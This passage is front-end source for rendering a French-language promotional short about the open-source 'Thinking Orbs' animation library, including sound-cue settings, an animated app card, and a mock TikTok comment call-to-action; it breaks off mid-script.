      // N ig-cta: tap, ORBES typed, Publier, posted, DM banner, Suivre
      [39.92, 'tap', .06], [40.34, 'tap', .03], [40.41, 'tap', .03], [40.48, 'tap', .03], [40.55, 'tap', .03], [40.62, 'tap', .03],
      [40.72, 'tap', .06], [40.80, 'pop', .12], [41.04, 'bell', .10], [42.10, 'tap', .06],
    ],
    // designed hits on the payoffs only
    files: [
      { src: 'assets/sfx/impact-boom.mp3', at: 5.20, gain: -15, peak: true },   // A: the spinner is struck ("mort")
      { src: 'assets/sfx/impact-boom.mp3', at: 33.47, gain: -16, peak: true },  // K: "sell copies" highlighted
      { src: 'assets/sfx/unlock.mp3', at: 38.88, gain: -13, peak: true },       // M: "En prod"
    ],
  },

  captions: {
    scaleKeys: [[0, 1.35], [5.88, 1]],
    replace: [['Thinking Orb', 'Thinking Orbs'], ['Commande Orb', 'Commente ORBES'], ['Commande', 'Commente']],
    emph: ['orbes', 'open', 'source.', 'Orbs', 'chaque', 'état', 'spinner', 'orbe', 'design', 'ralentit', 'réduit', 'MIT.', 'payant', 'ORBES', 'repo'],
    hide: [],
  },
};

<!doctype html><html><head><meta charset="utf-8">
<!-- "(se) fond dans n'importe quel design sans faire tache": a light app card with a "Generating summary" pill and a real
     Thinking Orb (orbs.js); on "design" the whole card wipes to dark, the orb redrawn with dark=true; on "tache" a blue
     check lands next to the pill. Short time 13.35 -> 15.28. Paper alone: content y 120..1280, y 1300..1500 kept empty. -->
<style>
  html, body { margin: 0; width: 1080px; height: 1920px; background: transparent; overflow: hidden; }
  * { box-sizing: border-box; }
  #stage { position: absolute; left: 40px; top: 172px; width: 1000px; height: 1004px; }
  .card { position: absolute; inset: 0; border-radius: 52px; overflow: hidden; }
  .card .body { position: absolute; inset: 0; border-radius: 52px; }
  #shadow { position: absolute; inset: 0; border-radius: 52px;
    box-shadow: 0 50px 90px -24px rgba(20,20,19,.24), 0 14px 30px rgba(20,20,19,.10), 0 2px 6px rgba(20,20,19,.06); }
  .light .body { background: #FFFFFF; border: 1.5px solid #E9E6DC; }
  .dark .body { background: #1C1C1A; border: 1.5px solid #2E2E2B; }
  .sk { position: absolute; height: 30px; border-radius: 15px; }
  .light .sk { background: #EEEDE7; }
  .dark .sk { background: #2C2C29; }
  .bar { position: absolute; left: 0; top: 0; width: 1000px; height: 100px; }
  .light .bar { background: #FAF9F5; border-bottom: 1.5px solid #ECE9DF; }
  .dark .bar { background: #222220; border-bottom: 1.5px solid #30302D; }
  .tl { position: absolute; top: 37px; width: 26px; height: 26px; border-radius: 50%; }
  .av { position: absolute; left: 60px; top: 146px; width: 92px; height: 92px; border-radius: 50%; }
  .light .av { background: #E7E5DD; }
  .dark .av { background: #33332F; }
  .pill { position: absolute; left: 50px; top: 528px; width: 900px; height: 192px; border-radius: 96px; }
  .light .pill { background: #F5F4EE; border: 1.5px solid #E6E3D8; box-shadow: 0 10px 24px -10px rgba(20,20,19,.14), 0 1px 0 #fff inset; }
  .dark .pill { background: #262624; border: 1.5px solid #3A3A36; box-shadow: 0 10px 24px -10px rgba(0,0,0,.6), 0 1px 0 rgba(255,255,255,.05) inset; }
  .pill canvas { position: absolute; left: 20px; top: 8px; width: 176px; height: 176px; }
  .pill .tx { position: absolute; left: 206px; top: 0; line-height: 192px; font-family: "Inter", sans-serif; font-weight: 600; font-size: 54px; letter-spacing: -.9px; white-space: nowrap;
    -webkit-background-clip: text; background-clip: text; color: transparent; }
  #chk { position: absolute; width: 112px; height: 112px; left: 826px; top: 568px; }
  #chk i { position: absolute; left: 16%; top: 16%; width: 68%; height: 68%; border-radius: 50%; background: #fff; }
  #chk img { position: absolute; inset: 0; width: 100%; height: 100%; display: block; }
</style></head><body>
<div id="stage">
  <div id="shadow"></div>
  <div class="card light" id="L"></div>
  <div class="card dark" id="D"></div>
  <div id="chk"><i></i><img src="../assets/icons/glyph/check.png"></div>
</div>
<script src="orbs.js"></script>
<script>
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const lerp = (a, b, f) => a + (b - a) * f;
// skeleton lines: [left, top, width, appear time]  (above the pill = already there; below = the summary being written)
const TOP = [[380, 35, 240, -1], [176, 160, 330, -1], [176, 208, 210, -1], [60, 290, 880, -1], [60, 344, 820, -1], [60, 398, 860, -1], [60, 452, 540, -1]];
const BELOW = [[60, 778, 860, 0.31], [60, 832, 800, 0.63], [60, 886, 840, 1.30], [60, 940, 470, 1.48]];
const PX = 176, DPR = 2;
const BLUE = { r: 37, g: 142, b: 255 }, TINT_AT = 1.30;
const cards = ['L', 'D'].map(id => {
  const el = document.getElementById(id);
  el.innerHTML = `<div class="body"></div><div class="bar"></div>` + ['#FF5F57', '#FEBC2E', '#28C840'].map((c, i) => `<div class="tl" style="left:${40 + i * 42}px;background:${c}"></div>`).join('') + `<div class="av"></div>` +
    TOP.map(([x, y, w]) => `<div class="sk" style="left:${x}px;top:${y}px;width:${w}px"></div>`).join('') +
    BELOW.map(([x, y, w], i) => `<div class="sk b" style="left:${x}px;top:${y}px;width:${w}px"></div>`).join('') +
    `<div class="pill"><canvas width="${PX * DPR}" height="${PX * DPR}"></canvas><div class="tx">Generating summary</div></div>`;
  return { el, dark: id === 'D', ctx: el.querySelector('canvas').getContext('2d'), tx: el.querySelector('.tx'), below: [...el.querySelectorAll('.sk.b')] };
});
const { mode, speed, opts } = ORBS.resolvePreset('composing', 64);
const chk = document.getElementById('chk'), stage = document.getElementById('stage');
const THEME_AT = 0.80, CHECK_AT = 1.62;

window.setT = t => {
  const st = S(t + 0.06, 30);
  stage.style.transform = `translateY(${(1 - st) * 16}px)`;
  // dark wipe, top to bottom, ~.25 s
  const w = S(t - THEME_AT, 22);
  const D = cards[1].el;
  D.style.clipPath = `inset(0 0 ${((1 - w) * 100).toFixed(3)}% 0)`;
  D.style.visibility = w < 0.001 ? 'hidden' : 'visible';
  cards.forEach(c => {
    const k = PX * DPR / 64;
    c.ctx.setTransform(k, 0, 0, k, 0, 0); c.ctx.clearRect(0, 0, 64, 64);
    // accent tint crossfades in on "sans" (the library's own tint option)
    const fr = ORBS.MODE_FRAMES[mode](64, t * speed, opts), ta = S(t - TINT_AT, 16);
    c.ctx.globalAlpha = 1 - ta; if (ta < 0.999) ORBS.paintFrame(c.ctx, fr, c.dark);
    c.ctx.globalAlpha = ta; if (ta > 0.001) ORBS.paintFrame(c.ctx, fr, c.dark, BLUE);
    c.ctx.globalAlpha = 1;
    // shimmer sweeping across the label (pure function of t)
    const sx = ((t * 0.9) % 1.4) * 100 - 20;
    const base = c.dark ? '#ECEBE6' : '#141413', hi = c.dark ? '#8A8984' : '#A8A69E';
    c.tx.style.backgroundImage = `linear-gradient(100deg, ${base} ${sx - 22}%, ${hi} ${sx}%, ${base} ${sx + 22}%)`;
    // summary lines writing in below the pill, left to right
    c.below.forEach((el, i) => {
      const a = S(t - BELOW[i][3], 16);
      el.style.clipPath = `inset(0 ${((1 - a) * 100).toFixed(3)}% 0 0 round 15px)`;
      el.style.opacity = Math.min(1, a * 1.6);
    });
  });
  // check lands on "tache"
  const c = S(t - CHECK_AT, 20);
  chk.style.opacity = Math.min(1, c * 1.5);
  chk.style.transform = `translateY(${(1 - c) * -26}px) scale(${0.7 + 0.3 * c})`;
};
setT(0);
</script></body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Comment CTA, TikTok (short 23.18 to the end, dur 2.80). Same choreography and clock as ig-cta.html, in the TikTok
     For You UI: the camera is full screen, a finger taps the comment icon on « Commente » (τ .05), the white comments sheet
     comes up, « ORBES » is typed on « Orb » (τ .33 to .57) and posted with the red arrow (τ .66), the sheet leaves, a TikTok
     notification « toncompte t'a envoyé un message » drops on « le » (τ .94), the finger taps the red + under the avatar on
     « suis » (τ 1.86, it turns into a check), « toncompte a aimé ton commentaire » drops (τ 2.12) and the finger likes the
     video (τ 2.40). Nothing leaves. Adapted from the tt-cta.html of short-audit-cloudflare. Transparent, 400x711.1 CSS
     at zoom 2.7 = 1080x1920. window.setT(t) draws the state at t seconds, pure function of t. -->
<style>
  html, body { margin: 0; background: transparent; }
  body { zoom: 2.7; width: 400px; height: 711.12px; overflow: hidden; color: #fff; -webkit-font-smoothing: antialiased;
    font-family: -apple-system, "SF Pro Text", "Inter", "Helvetica Neue", sans-serif; }
  #app { position: relative; width: 400px; height: 711.12px; overflow: hidden; }
  svg { display: block; }
  #gtop { position: absolute; left: 0; top: 0; width: 400px; height: 110px; background: linear-gradient(to bottom, rgba(0,0,0,.36), rgba(0,0,0,0)); }
  #gbot { position: absolute; left: 0; bottom: 0; width: 400px; height: 200px; background: linear-gradient(to top, rgba(0,0,0,.5), rgba(0,0,0,.18) 55%, rgba(0,0,0,0)); }
  .sh { filter: drop-shadow(0 1px 2px rgba(0,0,0,.35)); }
  .tsh { text-shadow: 0 1px 2px rgba(0,0,0,.45); }
  #status { position: absolute; left: 0; top: 0; width: 400px; height: 30px; display: flex; align-items: center; justify-content: space-between;
    padding: 0 26px 0 34px; box-sizing: border-box; font-size: 14px; font-weight: 600; letter-spacing: -.2px; z-index: 30; }
  #status .ic { display: flex; align-items: center; gap: 5px; }
  /* top bar: LIVE, the three feeds, search */
  #live { position: absolute; left: 16px; top: 37px; }
  #tabs { position: absolute; left: 0; top: 36px; width: 400px; display: flex; justify-content: center; gap: 17px; font-size: 16.5px; letter-spacing: -.2px; }
  #tabs span { color: rgba(255,255,255,.66); font-weight: 600; position: relative; }
  #tabs span.on { color: #fff; font-weight: 700; }
  #tabs span.on::after { content: ""; position: absolute; left: 50%; bottom: -7px; width: 28px; height: 2.5px; margin-left: -14px; border-radius: 2px; background: #fff; }
  #search { position: absolute; right: 16px; top: 37px; }
  /* right rail, centred on x 368 */
  .rail { position: absolute; left: 368px; top: 0; width: 0; }
  .rail .it { position: absolute; left: -24px; width: 48px; display: flex; flex-direction: column; align-items: center; }
  .rail .ct { font-size: 12.5px; font-weight: 600; margin-top: 3px; height: 16px; position: relative; width: 60px; text-align: center; letter-spacing: -.1px; overflow: hidden; }
  .rail .ct span { position: absolute; left: 0; right: 0; top: 0; }
  #ava { position: relative; width: 46px; height: 56px; }
  #ava img { width: 46px; height: 46px; border-radius: 50%; box-sizing: border-box; border: 1.5px solid #fff; }
  #plus { position: absolute; left: 13px; top: 36px; width: 20px; height: 20px; border-radius: 50%; background: #FE2C55; display: flex; align-items: center; justify-content: center; }
  #pchk { position: absolute; inset: 0; border-radius: 50%; background: #fff; }
  #pplus { position: absolute; }
  #disc { position: absolute; left: 348px; top: 662px; width: 40px; height: 40px; border-radius: 50%;
    background: radial-gradient(circle, #3a3a3a 0 34%, #161616 36%, #2b2b2b 52%, #121212 64%, #262626 80%, #0e0e0e 100%); box-shadow: 0 1px 3px rgba(0,0,0,.4); }
  #disc img { position: absolute; left: 9px; top: 9px; width: 22px; height: 22px; border-radius: 50%; }
  #info { position: absolute; left: 14px; top: 600px; width: 300px; }
  #info .who { font-size: 16px; font-weight: 700; letter-spacing: -.2px; height: 21px; display: flex; align-items: center; gap: 6px; }
  #info .who i { font-style: normal; font-weight: 500; font-size: 13.5px; color: rgba(255,255,255,.72); }
  #cap { font-size: 14.5px; line-height: 19px; margin-top: 5px; letter-spacing: -.15px; }
  #cap b { font-weight: 700; } #cap i { font-style: normal; font-weight: 600; color: rgba(255,255,255,.75); }
  #music { font-size: 13.5px; margin-top: 7px; display: flex; align-items: center; gap: 6px; letter-spacing: -.1px; font-weight: 500; }
  #prog { position: absolute; left: 0; bottom: 0; width: 400px; height: 2px; background: rgba(255,255,255,.25); }
  #prog i { position: absolute; left: 0; top: 0; height: 2px; background: rgba(255,255,255,.9); }
  #dim { position: absolute; inset: 0; background: #000; z-index: 25; }
  /* TikTok comments sheet (light), its top at 460 CSS (1242 px), under the face */
  #sheet { position: absolute; left: 0; top: 460px; width: 400px; height: 251.12px; background: #fff; border-radius: 12px 12px 0 0; z-index: 26; overflow: hidden;
    color: #161823; box-shadow: 0 -6px 20px rgba(0,0,0,.18); }
  #stitle { position: absolute; left: 0; top: 15px; width: 400px; height: 18px; text-align: center; font-size: 13.5px; font-weight: 700; letter-spacing: -.1px; }
  #stitle span { position: absolute; left: 0; right: 0; top: 0; }
  #sclose { position: absolute; right: 16px; top: 15px; }
  #list { position: absolute; left: 0; top: 0; width: 400px; height: 192px; overflow: hidden; }
  .crow { position: absolute; left: 0; width: 400px; height: 64px; }
  .crow .hl { position: absolute; inset: 0; background: rgba(254,44,85,.07); }
  .cav { position: absolute; left: 14px; top: 8px; width: 34px; height: 34px; border-radius: 50%; display: flex; align-items: center; justify-content: center;
    font-weight: 800; font-size: 13px; color: #fff; overflow: hidden; }
  .cav img, .cav svg { width: 100%; height: 100%; }
  .cbody { position: absolute; left: 58px; top: 7px; width: 280px; }
  .cname { font-size: 13px; line-height: 17px; font-weight: 600; color: #73747b; letter-spacing: -.1px; }
  .ctext { font-size: 15px; line-height: 20px; letter-spacing: -.15px; white-space: nowrap; color: #161823; }
  .cmeta { font-size: 12.5px; line-height: 16px; color: #8a8b91; margin-top: 1px; display: flex; gap: 14px; }
  .cmeta b { font-weight: 600; }
  .clike { position: absolute; left: 352px; top: 12px; width: 30px; display: flex; flex-direction: column; align-items: center; gap: 2px; font-size: 12px; color: #8a8b91; }
  /* composer */
  #composer { position: absolute; left: 0; top: 192px; width: 400px; height: 59.12px; background: #fff; }
  #composer .hair { position: absolute; left: 0; top: 0; width: 400px; height: .5px; background: rgba(22,24,35,.12); }
  #field { position: absolute; left: 14px; top: 10px; width: 372px; height: 38px; border-radius: 19px; background: #f1f1f2; }
  #ftext { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 16.5px; font-weight: 500; letter-spacing: .2px; color: #161823; }
  #ftext span { display: inline-block; }
  #ph { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; color: #8a8b91; letter-spacing: -.1px; }
  #caret { width: 2px; height: 20px; border-radius: 1px; background: #FE2C55; margin-left: 1px; }
  #ficons { position: absolute; right: 12px; top: 0; height: 38px; display: flex; align-items: center; gap: 12px; }
  #send { position: absolute; left: 354px; top: 13px; width: 32px; height: 32px; border-radius: 50%; background: #FE2C55; display: flex; align-items: center; justify-content: center; }
  /* iOS notification banners, TikTok app icon + the sender's picture as the attachment */
  .ban { position: absolute; left: 14px; top: 36px; width: 372px; height: 68px; border-radius: 20px; background: rgba(32,32,34,.96); overflow: hidden;
    box-shadow: 0 6px 18px rgba(0,0,0,.26), 0 0 0 .5px rgba(255,255,255,.08) inset; z-index: 40; transform-origin: 50% 0%; }
  .ban .app { position: absolute; left: 13px; top: 14px; width: 40px; height: 40px; border-radius: 9px; overflow: hidden; }
  .ban .app img { width: 100%; height: 100%; transform: scale(1.08); }
  .ban .tx { position: absolute; left: 64px; top: 15px; width: 252px; }
  .ban .t1 { font-size: 15px; line-height: 19px; font-weight: 700; letter-spacing: -.2px; display: flex; justify-content: space-between; }
  .ban .t1 i { font-style: normal; font-weight: 400; font-size: 13px; color: #9a9a9e; }
  .ban .t2 { font-size: 15px; line-height: 19px; letter-spacing: -.2px; margin-top: 1px; white-space: nowrap; }
  .ban .thumb { position: absolute; right: 12px; top: 13px; width: 42px; height: 42px; border-radius: 9px; overflow: hidden; }
  .ban .thumb img { width: 100%; height: 100%; object-fit: cover; }
  .emo { font-family: "Apple Color Emoji", sans-serif; font-size: .95em; }
  /* the viewer's finger */
  #dot { position: absolute; left: 0; top: 0; width: 34px; height: 34px; margin: -17px 0 0 -17px; border-radius: 50%; z-index: 60;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.95); box-shadow: 0 2px 10px rgba(0,0,0,.3); }
  .rip { position: absolute; left: 0; top: 0; width: 60px; height: 60px; margin: -30px 0 0 -30px; border-radius: 50%; z-index: 59;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.9); }
</style></head>
<body><div id="app">
  <div id="gtop"></div><div id="gbot"></div>

  <div id="status" class="tsh"><span>9:41</span><div class="ic">
    <svg width="18" height="12" viewBox="0 0 18 12" fill="#fff"><rect x="0" y="8" width="3" height="4" rx="1"/><rect x="5" y="5.5" width="3" height="6.5" rx="1"/><rect x="10" y="3" width="3" height="9" rx="1"/><rect x="15" y="0" width="3" height="12" rx="1"/></svg>
    <svg width="16" height="12" viewBox="0 0 16 12" fill="#fff"><path d="M8 2.6c2.2 0 4.2.85 5.7 2.250l1.2-1.25C13.1 1.9 10.7.9 8 .9S2.9 1.9 1.1 3.6l1.2 1.250C3.8 3.45 5.8 2.6 8 2.6z"/><path d="M8 6.1c1.25 0 2.4.5 3.25 1.3l1.2-1.25A6.4 6.4 0 0 0 8 4.4c-1.7 0-3.3.65-4.45 1.750l1.2 1.25C5.6 6.6 6.75 6.1 8 6.1z"/><path d="M8 9.4l2-2.05a2.8 2.8 0 0 0-4 0z" transform="translate(0 1.4)"/></svg>
    <svg width="27" height="13" viewBox="0 0 27 13"><rect x=".5" y=".5" width="23" height="12" rx="3.6" fill="none" stroke="rgba(255,255,255,.45)"/><rect x="2" y="2" width="18" height="9" rx="2.2" fill="#fff"/><path d="M25 4.5v4c.8-.3 1.3-1.1 1.3-2s-.5-1.7-1.3-2z" fill="rgba(255,255,255,.45)"/></svg>
  </div></div>

  <div id="live" class="sh"><svg width="30" height="24" viewBox="0 0 30 24" fill="none" stroke="#fff" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round">
    <path d="M10.5 2.2l4.5 3.6 4.5-3.6"/><rect x="2" y="5.8" width="26" height="16.4" rx="3.6"/>
    <text x="15" y="17.4" text-anchor="middle" fill="#fff" stroke="none" font-size="8.2" font-weight="800" font-family="-apple-system, Inter, sans-serif" letter-spacing=".2">LIVE</text></svg></div>
  <div id="tabs" class="tsh"><span>Explorer</span><span>Abonnements</span><span class="on">Pour toi</span></div>
  <div id="search" class="sh"><svg width="25" height="25" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2.3" stroke-linecap="round"><circle cx="10.6" cy="10.6" r="7.1"/><path d="M15.9 15.9l5.3 5.3"/></svg></div>

  <div class="rail">
    <div class="it sh rit" style="top:328px"><div id="ava"><img src="../assets/images/avatar.png">
      <div id="plus"><div id="pchk"></div><svg id="pplus" width="11" height="11" viewBox="0 0 12 12" stroke="#fff" stroke-width="2.2" stroke-linecap="round"><path d="M6 1.5v9M1.5 6h9"/></svg><svg id="pcheck" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="#FE2C55" stroke-width="3.6" stroke-linecap="round" stroke-linejoin="round" style="position:absolute"><path d="M4.5 12.5l5 5 10-11"/></svg></div></div></div>
    <div class="it sh rit" style="top:396px">
      <div id="hwrap" style="position:relative;width:35px;height:35px"><svg width="35" height="35" viewBox="0 0 24 24"><path fill="#fff" d="M12 21.6c-.4 0-.8-.1-1.1-.4-.9-.6-2.3-1.8-3.9-3.2C4.3 15.7 1.5 13.3 1.5 9.1 1.5 5.5 4.3 2.9 7.3 2.9c1.9 0 3.6.9 4.7 2.4 1.1-1.5 2.8-2.4 4.7-2.4 3 0 5.8 2.6 5.8 6.2 0 4.2-2.8 6.6-5.5 8.9-1.6 1.4-3 2.6-3.9 3.2-.3.3-.7.4-1.1.4z"/></svg><svg id="hred" width="35" height="35" viewBox="0 0 24 24" style="position:absolute;left:0;top:0"><path fill="#FE2C55" d="M12 21.6c-.4 0-.8-.1-1.1-.4-.9-.6-2.3-1.8-3.9-3.2C4.3 15.7 1.5 13.3 1.5 9.1 1.5 5.5 4.3 2.9 7.3 2.9c1.9 0 3.6.9 4.7 2.4 1.1-1.5 2.8-2.4 4.7-2.4 3 0 5.8 2.6 5.8 6.2 0 4.2-2.8 6.6-5.5 8.9-1.6 1.4-3 2.6-3.9 3.2-.3.3-.7.4-1.1.4z"/></svg></div>
      <div class="ct tsh"><span>21,4 k</span></div>
    </div>
    <div class="it sh rit" id="icom" style="top:463px">
      <svg id="comsvg" width="34" height="34" viewBox="0 0 24 24"><path fill="#fff" d="M12 2.6c-5.6 0-10.1 3.9-10.1 8.7 0 2.75 1.47 5.2 3.78 6.8-.12 1.25-.64 2.55-1.66 3.65 2.25-.1 4.18-.9 5.42-1.95.83.16 1.69.25 2.56.25 5.6 0 10.1-3.9 10.1-8.75S17.6 2.6 12 2.6z"/>
        <circle cx="7.6" cy="11.3" r="1.25" fill="#161823" fill-opacity=".72"/><circle cx="12" cy="11.3" r="1.25" fill="#161823" fill-opacity=".72"/><circle cx="16.4" cy="11.3" r="1.25" fill="#161823" fill-opacity=".72"/></svg>
      <div class="ct tsh"><span id="cc0">3 118</span><span id="cc1">3 119</span></div>
    </div>
    <div class="it sh rit" style="top:530px">
      <svg width="31" height="31" viewBox="0 0 24 24"><path fill="#fff" d="M6.2 2.4h11.6c.95 0 1.7.75 1.7 1.7v16.9c0 .7-.8 1.1-1.36.68L12 17.1l-6.14 4.58c-.56.42-1.36.02-1.36-.68V4.1c0-.95.75-1.7 1.7-1.7z"/></svg>
      <div class="ct tsh"><span>2 412</span></div>
    </div>
    <div class="it sh rit" style="top:595px">
      <svg width="32" height="32" viewBox="0 0 24 24"><path fill="#fff" d="M13.4 3.3c-.42-.36-1.07-.06-1.07.5v4.2C6.1 8.6 2.6 12.8 2.2 19.9c-.03.5.6.72.9.32C5.3 17.3 8.1 15.9 12.33 15.8v4.2c0 .56.65.86 1.07.5l8.3-7.2c.3-.26.3-.72 0-.98z"/></svg>
      <div class="ct tsh"><span>5 204</span></div>
    </div>
  </div>
  <div id="disc"><img src="../assets/images/avatar.png"></div>

  <div id="info" class="tsh">
    <div class="who">toncompte<i>· 2 j</i></div>
    <div id="cap">Thinking Orbs, la lib open source<br><b>#webdesign #opensource</b> <i>... plus</i></div>
    <div id="music"><svg width="13" height="13" viewBox="0 0 24 24" fill="#fff"><path d="M9 3v11.6A3.5 3.5 0 1 0 11 18V8h8V3z"/></svg><span>son original - toncompte</span></div>
  </div>
  <div id="prog"><i id="progi"></i></div>

  <div id="dim"></div>
  <div id="sheet">
    <div id="list"></div>
    <div id="stitle"><span id="sc0">3 118 commentaires</span><span id="sc1">3 119 commentaires</span></div>
    <div id="sclose"><svg width="18" height="18" viewBox="0 0 24 24" stroke="#161823" stroke-width="2.4" stroke-linecap="round"><path d="M5 5l14 14M19 5L5 19"/></svg></div>
    <div id="composer">
      <div class="hair"></div>
      <div id="field"><div id="ph">Ajouter un commentaire...</div><div id="ftext"><span id="typed"></span><i id="caret"></i></div>
        <div id="ficons">
          <svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="#161823" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="4"/><path d="M16 8v5a3 3 0 0 0 6 0v-1a10 10 0 1 0-3.9 7.9"/></svg>
          <svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="#161823" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="9.5"/><path d="M8 14.2c1 1.4 2.4 2.1 4 2.1s3-.7 4-2.1"/><circle cx="9" cy="9.6" r=".6" fill="#161823"/><circle cx="15" cy="9.6" r=".6" fill="#161823"/></svg>
        </div></div>
      <div id="send"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><path d="M12 20V4.5M5.5 11L12 4.5 18.5 11"/></svg></div>
    </div>
  </div>

  <!-- DM on « lien » -->
  <div class="ban" id="ban1">
    <div class="app"><img src="../assets/logos/tiktok.png"></div>
    <div class="tx"><div class="t1">toncompte<i>maintenant</i></div><div class="t2">t'a envoyé un message</div></div>
    <div class="thumb"><img src="../assets/images/avatar.png"></div>
  </div>
  <!-- like on « suis » -->
  <div class="ban" id="ban2" style="z-index:41">
    <div class="app"><img src="../assets/logos/tiktok.png"></div>
    <div class="tx"><div class="t1">toncompte<i>maintenant</i></div><div class="t2">a aimé ton commentaire</div></div>
    <div class="thumb"><img src="../assets/images/avatar.png"></div>
  </div>

  <div class="rip" id="rip0"></div><div class="rip" id="rip1"></div>
  <div id="dot"></div>
</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (v, a = 0, b = 1) => Math.min(b, Math.max(a, v));
const seg = (t, a, b) => clamp((t - a) / (b - a));
// critically damped spring from rest (never overshoots)
const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
// same spring with a launch velocity k in [0,1]: still never overshoots
const SV = (x, w = 14, k = .6) => x <= 0 ? 0 : 1 - (1 + w * (1 - k) * x) * Math.exp(-w * x);
const out = p => 1 - Math.pow(1 - p, 3), io = p => p < .5 ? 4 * p * p * p : 1 - Math.pow(-2 * p + 2, 3) / 2;
const lerp = (a, b, p) => a + (b - a) * p;
const HEART_O = '<svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="#8a8b91" stroke-width="2" stroke-linejoin="round"><path d="M12 20.6c-.3 0-.6-.1-.85-.3-.85-.6-2.2-1.7-3.7-3C4.9 15.1 2.5 13 2.5 9.3c0-3 2.3-5.3 5-5.3 1.8 0 3.4 1 4.5 2.6C13.1 5 14.7 4 16.5 4c2.7 0 5 2.3 5 5.3 0 3.7-2.4 5.8-4.95 8-1.5 1.3-2.85 2.4-3.7 3-.25.2-.55.3-.85.3z"/></svg>';
const DEF_AV = '<svg viewBox="0 0 32 32"><circle cx="16" cy="16" r="16" fill="#d5d5d8"/><circle cx="16" cy="12.6" r="5.6" fill="#f4f4f5"/><path d="M5.6 27.6c1.9-4.9 6-7.5 10.4-7.500s8.5 2.6 10.4 7.500A15.9 15.9 0 0 1 16 32a15.9 15.9 0 0 1-10.4-4.4z" fill="#f4f4f5"/></svg>';

// ---- event times, τ = seconds from the overlay start (short 23.18). Words: Commente 0, Orb(ES) .33, et .59, je .66,
// t'envoie .73, le .94, repo 1.03, du 1.38, moment 1.45, que 1.62, tu 1.67, me 1.76, suis 1.86, end 2.63. Same clock as ig-cta.html,
// so the spec's CTA sound cues fit both.
const T_IN = 0, TAP_COM = .05, T_SHEET = .11, TYPE = [.33, .39, .45, .51, .57];
const TAP_PUB = .66, T_POST = .70, T_SHEET_OUT = .82, T_BACK = .90;
const T_BAN1 = .94, TAP_FOL = 1.86, T_BAN2 = 2.12, TAP_HEART = 2.40;

const OLD = [
  ['lucas.dev', '1 min', 'ORBES', 'linear-gradient(135deg,#2bb673,#0b6e4f)', 'L', '24'],
  ['sarah.creates', '2 min', 'ORBES', 'linear-gradient(135deg,#ff7a59,#c2185b)', 'S', '19'],
  ['tom.codes', '4 min', 'ORBES, trop propre cette lib', 'linear-gradient(135deg,#5b4bdb,#1b9cff)', 'T', '12'],
];
const mkRow = (name, age, text, av, likes, hl) => {
  const r = document.createElement('div'); r.className = 'crow';
  r.innerHTML = (hl ? '<div class="hl"></div>' : '') + `<div class="cav"${av.bg ? ` style="background:${av.bg}"` : ''}>${av.html}</div>
    <div class="cbody"><div class="cname">${name}</div><div class="ctext">${text}</div><div class="cmeta"><span>${age}</span><b>Répondre</b></div></div>
    <div class="clike">${HEART_O}<span>${likes}</span></div>`;
  $('list').appendChild(r); return r;
};
const LIST_TOP = 44, ROW_H = 64;
const newRow = mkRow('toi', "à l'instant", 'ORBES', { html: DEF_AV }, '', true);
const oldRows = OLD.map(([n, a, tx, bg, ini, l]) => mkRow(n, a, tx, { bg, html: ini }, l));
const letters = 'ORBES'.split('').map(c => { const s = document.createElement('span'); s.textContent = c; $('typed').appendChild(s); return s; });
const railIt = [...document.querySelectorAll('.rit')], infoIt = [...$('info').children];
const top3 = ['live', 'tabs', 'search'];

// the viewer's finger: [t0, t1, x, y] eased moves (CSS px); it lands on the comment icon, then glides to the red arrow
const COM = [368, 480], PUB = [370, 681], FOL = [368, 374], HEART = [368, 413];
// a move with t0 = t1 is a jump while the finger is hidden
const MOVES = [[0, 0, COM[0] + 16, COM[1] + 26], [0, .05, COM[0], COM[1]], [.16, .54, PUB[0], PUB[1]], [.74, .92, 330, 750],
  [1.44, 1.44, 300, 470], [1.50, 1.81, FOL[0], FOL[1]], [1.98, 2.12, 300, 470],
  [2.16, 2.16, 320, 450], [2.20, 2.36, HEART[0], HEART[1]], [2.56, 2.76, 300, 540]];
const TAPS = [TAP_COM, TAP_PUB, TAP_FOL, TAP_HEART];
const VIS = [[0, .05, .76, .92], [1.44, 1.54, 1.98, 2.12], [2.16, 2.22, 2.56, 2.74]];
function curAt(t) {
  let x = MOVES[0][2], y = MOVES[0][3];
  for (const [a, b, nx, ny] of MOVES) { if (t < a) break; const p = b > a ? (a === 0 ? out(seg(t, a, b)) : io(seg(t, a, b))) : 1; x = lerp(x, nx, p); y = lerp(y, ny, p); }
  return [x, y];
}
const pressAt = (t, a) => { const d = t - a; return d > -.05 && d < .09 ? clamp(1 - Math.abs(d - .015) / .065) : 0; };
const show = (el, v) => { el.style.display = v > .001 ? '' : 'none'; };

window.setT = function (t) {
  const u = t - T_IN;
  // the rail, the info and the bottom gradient fade under the opening sheet, and come back once it has gone down
  const hc = io(seg(t, T_SHEET + .02, T_SHEET + .18)) * (1 - io(seg(t, T_BACK, T_BACK + .26)));
  const g = io(seg(t, T_IN, T_IN + .16));
  $('gtop').style.opacity = g; $('gbot').style.opacity = g * (1 - .6 * hc);
  // top: status, LIVE, the feeds and search drop in
  [['status', 0], ...top3.map((id, i) => [id, .02 + i * .015])].forEach(([id, d]) => {
    const q = SV(u - d, 20, .6), el = $(id);
    el.style.transform = `translateY(${-22 * (1 - q)}px)`; el.style.opacity = clamp(q * 1.4);
  });
  // rail: icons slide in from the right, the comment icon first (it is tapped at .08), the disc last
  railIt.forEach((el, i) => {
    const q = SV(u - [.012, .006, 0, .018, .03][i], 36, .8);
